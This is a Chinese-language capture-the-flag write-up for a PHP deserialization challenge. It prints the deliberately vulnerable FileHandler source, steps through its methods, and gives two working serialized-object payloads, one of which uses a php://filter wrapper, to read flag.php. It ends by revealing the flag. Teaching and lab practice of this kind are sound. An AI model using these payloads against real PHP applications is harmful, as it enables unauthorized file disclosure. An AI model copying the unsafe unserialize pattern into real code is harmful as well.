题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| <?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op; protected $filename; protected $content;
function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); }
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
private function output($s) { echo "[Result]: <br>"; echo $s; }
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
}
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
if(isset($_GET{'str'})) {
$str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }
}
|
分析
1 2 3 4 5 6 7 8
| if(isset($_GET{'str'})) {
$str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }
}
|
接收GET类型的 str
传参,如果通过 is_valid
函数,则对其进行反序列化
1 2 3 4 5 6
| function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
|
遍历每一位,当他对应的ASCII码在32到125之间时,返回 true
1 2 3 4 5 6
| function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
|
当 op
等于字符 2
的时候,将其赋值为数字 1
,再将 content
赋值为空,最后调用 process
函数
1 2 3 4 5 6 7 8 9 10
| public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
|
如果 op
若等于字符 1
,调用 write
函数;如果若等于 2
,调用 read
函数(应该从这里得到==flag==);否则输出 Bad Hacker!
1 2 3 4 5 6 7 8 9 10 11 12 13
| private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
|
先判断两个值不为空(在 __destruct
里已经将 content
赋值为空),若 content
的长度大于100,放回 Too long!
;再在 content
路径下写名为 filename
的文件…(没啥用,不分析了)
1 2 3 4 5 6 7
| private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
|
重点来了读取 filename
文件并返回结果
构造payload
我们应该用GET的方式传一个 str
,他的值应是该类序列化后的结果,以用于反序列化
1 2 3
| protected $op; protected $filename; protected $content;
|
这是类中的成员变量,都是 protected
类型,应构造为:s:5:"$00*%00op";
…
但 is_valid
函数不能有小于32的字符,%00
的ASCII值为0,不可通过
抓个包看一眼php版本
php7.1以上对成员变量的属性不敏感,我们直接将这三个变量当作 public
就行
payload 1
op
的值应为整型 2
,这样就可以绕过赋值,并弱等于字符 2
,使其调用 read
函数
filename
的值应为 flag.php
,这样 read
函数就可以读取该文件并返回
content
是什么都行,因为会被赋为空值
payload:?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
显示不全,F12得到:flag{f3cc9063-12a3-4f33-ae75-678107d23608}
payload 2
我们发现flag写在注释里,一般这种情况可以直接用php伪协议读取
payload:?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N;}
base64得到flag